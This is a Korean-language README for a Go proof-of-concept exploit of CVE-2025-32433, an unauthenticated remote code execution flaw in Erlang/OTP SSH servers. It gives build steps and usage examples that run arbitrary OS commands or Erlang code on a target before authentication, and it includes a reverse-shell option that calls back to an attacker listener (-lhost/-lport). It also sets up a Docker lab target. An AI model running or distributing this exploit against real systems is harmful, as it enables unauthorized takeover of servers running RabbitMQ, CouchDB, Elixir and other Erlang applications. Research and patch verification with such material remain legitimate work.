
CVE-2025-32433용 Go PoC — Erlang/OTP SSH의 인증되지 않은 RCE
CVE-2025-32433은 Erlang/OTP SSH 서버의 치명적인 무인증 원격 코드 실행 취약점입니다. 패치된 버전 이전에는 SSH 데몬이 인증이 완료되기 전에 채널 메시지를 잘못 처리하여, 공격자가 인증 정보를 제공하지 않고도 채널을 열고 exec 요청을 보낼 수 있었습니다. SSH 포트가 노출된 경우 Erlang/OTP SSH 서버를 내장한 모든 애플리케이션(Elixir, RabbitMQ, CouchDB 등 포함)이 영향을 받습니다.
이 Go PoC는 대상 SSH 포트에 연결한 뒤, 인증 전 상태에서 조작된 SSH_MSG_CHANNEL_OPEN과 SSH_MSG_CHANNEL_REQUEST exec 페이로드를 전송하여 원격 Erlang 노드가 임의의 OS 명령을 실행하도록 합니다. 실행은 블라인드 방식입니다. 즉, 명령 출력이 공격자에게 반환되지 않습니다.
영향을 받는 버전: Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20
bash -c를 통한 OS 명령 실행, Erlang의 os:cmd로 자동 래핑/dev/tcp에 의존하지 않는 네이티브 gen_tcp 리버스 셸 배포macOS, Linux, Windows용 사전 빌드 바이너리는 Releases 페이지에서 다운로드할 수 있습니다. 플랫폼에 맞는 바이너리를 다운로드하여 바로 실행하십시오. Go 설치가 필요 없습니다.
또는 소스에서 빌드:
[!NOTE] Go 1.21+ 필요. 외부 의존성 없음 — Go 표준 라이브러리만 사용.
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go
go install github.com/joshuavanderpoll/cve-2025-32433@latest
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22
Usage of ./cve-2025-32433:
-host string
Target IP or hostname
-port int
SSH port (default: 22) (default 22)
-timeout int
Connection timeout in seconds (default: 5) (default 5)
-command string
Shell command to run on the target (wrapped in os:cmd)
-code string
Raw Erlang expression to execute on the target
-shell
Send an Erlang-native gen_tcp reverse shell
-lhost string
Listener IP for reverse shell (required with -shell)
-lport int
Listener port for reverse shell (default: 4444)
./cve-2025-32433 -host 127.0.0.1 -port 2222

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

-shell 플래그는 네이티브 Erlang gen_tcp 리버스 셸 페이로드를 전송합니다. bash나 /dev/tcp가 필요 없습니다. 먼저 리스너를 시작한 다음 익스플로잇을 전송하십시오.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

-code 플래그는 bash -c 래퍼 없이 원시 Erlang 표현식을 직접 전송합니다. 순수 Erlang 작업이나 대상에 bash가 없을 때 유용합니다. 실행이 블라인드 방식이므로 출력을 파일에 기록한 뒤 별도로 확인하십시오.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

자세한 내용은 docker/DOCKER.md를 참조하십시오.
cd docker/
docker compose down
docker compose up -d
# You can test at -host 127.0.0.1 -port 2222
이 도구는 교육 및 연구 목적으로만 제공됩니다. 제작자는 이 도구의 오용이나 발생한 피해에 대해 어떠한 책임도 지지 않습니다.